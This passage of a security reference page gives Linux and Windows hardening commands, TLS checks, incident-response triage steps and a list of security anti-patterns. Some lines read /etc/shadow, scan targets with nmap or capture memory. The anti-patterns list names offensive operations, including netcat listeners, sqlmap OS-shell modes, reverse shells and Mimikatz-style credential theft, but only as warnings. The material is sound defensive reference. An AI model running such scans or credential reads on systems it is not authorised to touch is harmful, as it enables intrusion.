sed -i 's/^upgrade_type = .*/upgrade_type = security/' /etc/dnf/automatic.conf
systemctl enable --now dnf-automatic.timer

Check for world-writable files and fix them

Bash
# Find world-writable files (excluding /proc and /sys)
find / -xdev -type f -perm -0002 2>/dev/null | grep -v '/proc\|/sys'
 
# Find SUID/SGID binaries and verify they are expected
find / -xdev \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null
 
# Remove SUID from a binary that doesn't need it
chmod u-s /path/to/binary

Disable core dumps system-wide

Bash
echo '* hard core 0' >> /etc/security/limits.conf
echo 'fs.suid_dumpable = 0' >> /etc/sysctl.d/99-hardening.conf
sysctl -p /etc/sysctl.d/99-hardening.conf

Check for accounts with empty passwords

Bash
awk -F: '($2 == "" ) { print $1 }' /etc/shadow
# Lock any found
passwd -l <username>

Verify no accounts have UID 0 except root

Bash
awk -F: '($3 == 0) { print $1 }' /etc/passwd

Check listening services and their owning processes

Bash
ss -tlnp    # TCP
ss -ulnp    # UDP
# Detailed with process info
ss -tlnp | awk 'NR>1 {print $4, $6}' | sort

See also: Linux for distribution-specific setup (Ubuntu, Fedora, WSL2). Bash for scripting hardening steps reproducibly.

See also: KQL - Threat Hunting for cloud-side investigation using Defender for Endpoint and Sentinel once a suspicious host is identified.


Network Hardening

Inspect TLS cipher suites offered by a server

Bash
nmap --script ssl-enum-ciphers -p 443 <target>

Check TLS version support (reject TLS 1.0 / 1.1)

Bash
openssl s_client -connect <target>:443 -tls1   2>&1 | grep -E 'Cipher|alert'
openssl s_client -connect <target>:443 -tls1_1 2>&1 | grep -E 'Cipher|alert'
openssl s_client -connect <target>:443 -tls1_2 2>&1 | grep -E 'Cipher|alert'
openssl s_client -connect <target>:443 -tls1_3 2>&1 | grep -E 'Cipher|alert'

Nginx - secure TLS configuration

NGINX
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers 'ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305';
ssl_prefer_server_ciphers off;
ssl_session_timeout 1d;
ssl_session_cache shared:SSL:10m;
ssl_session_tickets off;
ssl_stapling on;
ssl_stapling_verify on;
add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload" always;
add_header X-Frame-Options DENY always;
add_header X-Content-Type-Options nosniff always;
add_header Content-Security-Policy "default-src 'self'" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;

Check HTTP security headers on a site

Bash
curl -sI https://<target> | grep -iE 'strict-transport|content-security|x-frame|x-content-type|referrer-policy|permissions-policy'

Verify DNS over HTTPS / DNSSEC

Bash
# Check DNSSEC validation
dig +dnssec <domain> A
dig @8.8.8.8 +dnssec <domain> DNSKEY
 
# Test DMARC, SPF, DKIM records
dig TXT _dmarc.<domain>
dig TXT <domain>          # look for v=spf1
dig TXT <selector>._domainkey.<domain>

Block outbound DNS to prevent bypass of internal resolvers (nftables)

Bash
nft add rule inet filter output udp dport 53 ip daddr != 10.0.0.53 drop
nft add rule inet filter output tcp dport 53 ip daddr != 10.0.0.53 drop

Incident Response - Quick Triage

Linux - capture process list with full command lines

Bash
ps auxf
# Or with network connections
ss -tlnp
lsof -i -n -P

Linux - find recently modified files (last 24h)

Bash
find / -xdev -mtime -1 -type f 2>/dev/null | grep -v '/proc\|/sys\|/run'

Linux - check for unusual cron jobs

Bash
for dir in /etc/cron.d /etc/cron.daily /etc/cron.weekly /etc/cron.hourly /etc/cron.monthly; do
  echo "=== $dir ===" && ls -la "$dir" 2>/dev/null
done
crontab -l 2>/dev/null
cat /etc/crontab

Linux - identify persistence mechanisms

Bash
# Startup scripts
ls -la /etc/rc.local /etc/init.d/ /etc/systemd/system/
# At jobs
atq 2>/dev/null
# User crontabs
for user in $(cut -d: -f1 /etc/passwd); do
  crontab -u "$user" -l 2>/dev/null | grep -v '^#' | grep -v '^$' | sed "s/^/$user: /"
done

Linux - check for active network connections to unexpected IPs

Bash
ss -tnp state established | awk 'NR>1 {print $4, $5, $6}' | sort -k2
# Resolve process names for suspicious connections
lsof -i -n -P | grep ESTABLISHED

Linux - list all SUID binaries (compare to known-good baseline)

Bash
find / -xdev -perm -4000 -type f 2>/dev/null | tee /tmp/suid_now.txt
# diff against a baseline
diff /tmp/suid_baseline.txt /tmp/suid_now.txt

Windows - check recently created accounts

PowerShell
Get-LocalUser | Select-Object Name, Enabled, LastLogon, PasswordLastSet |
  Sort-Object PasswordLastSet -Descending

Windows - list active network connections with process names

PowerShell
Get-NetTCPConnection -State Established |
  Select-Object LocalAddress, LocalPort, RemoteAddress, RemotePort,
    @{N='Process';E={(Get-Process -Id $_.OwningProcess -EA SilentlyContinue).Name}} |
  Sort-Object RemoteAddress

Windows - find recently created files in temp locations

PowerShell
$cutoff = (Get-Date).AddHours(-24)
Get-ChildItem -Path C:\Windows\Temp, $env:TEMP, 'C:\Users' -Recurse -ErrorAction SilentlyContinue |
  Where-Object { $_.CreationTime -gt $cutoff } |
  Select-Object FullName, CreationTime, Length

Windows - check for suspicious scheduled tasks

PowerShell
Get-ScheduledTask | Where-Object { $_.TaskPath -notlike '\Microsoft\*' } |
  Select-Object TaskName, TaskPath, @{N='Action';E={$_.Actions.Execute}} |
  Sort-Object TaskPath

Windows - review security event log for failed logons (Event 4625)

PowerShell
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4625; StartTime=(Get-Date).AddHours(-24)} |
  Select-Object TimeCreated,
    @{N='Account';E={$_.Properties[5].Value}},
    @{N='Source';E={$_.Properties[19].Value}} |
  Group-Object Source | Sort-Object Count -Descending

Windows - hunt for common persistence registry keys

PowerShell
$runKeys = @(
  'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run',
  'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce',
  'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run',
  'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce'
)
foreach ($key in $runKeys) {
  Write-Host "=== $key ===" -ForegroundColor Cyan
  Get-ItemProperty -Path $key -ErrorAction SilentlyContinue
}

Windows - check WMI subscriptions (common APT persistence)

PowerShell
Get-WMIObject -Namespace root\subscription -Class __EventFilter
Get-WMIObject -Namespace root\subscription -Class __EventConsumer
Get-WMIObject -Namespace root\subscription -Class __FilterToConsumerBinding

Collect a memory dump for forensics (Linux)

Bash
# Using LiME (requires kernel module compile)
insmod lime-$(uname -r).ko "path=/tmp/mem.lime format=lime"
# Or with avml
avml /tmp/memory.raw

Collect a memory dump for forensics (Windows)

PowerShell
# Using WinPmem
.\winpmem_mini_x64_rc2.exe --output C:\mem.raw --format raw

Anti-patterns

Offensive

  • 🚨 curl -k / --insecure in production scripts or pipelines - it silently disables TLS validation and trains teams to ignore certificate errors.

  • 🚨 nc -lvnp listeners running unattended on internet-facing hosts - they accept any connection with no authentication.

  • 🚨 sqlmap --os-shell or --os-pwn without explicit written authorisation - these are destructive operations.

  • 🚨 Storing payloads, reverse shell scripts, or loot in your home directory on shared or production systems.

  • 🚨 ffuf or nmap against production systems without a change window - noisy scans trigger alerts and can cause instability on fragile services.

Defensive

  • 🚨 PasswordAuthentication yes in sshd_config on internet-facing hosts - key-only authentication is non-negotiable.

  • 🚨 PermitRootLogin yes in sshd_config - use a named admin user and sudo.

  • 🚨 0.0.0.0/0 inbound on port 22 or 3389 in firewall rules - restrict to known IPs, a VPN, or a bastion host.

  • 🚨 Disabling Windows Defender without a tested, deployed replacement already in place.

  • 🚨 WDigest enabled - UseLogonCredential=1 stores credentials in cleartext in LSASS and is the primary target of Mimikatz-style attacks.

  • 🚨 Relying solely on host-based firewall - defence in depth requires network-layer controls too.

  • 🚨 NOPASSWD sudo rights granted broadly - use scoped entries for specific commands if automation requires it.

Last updated on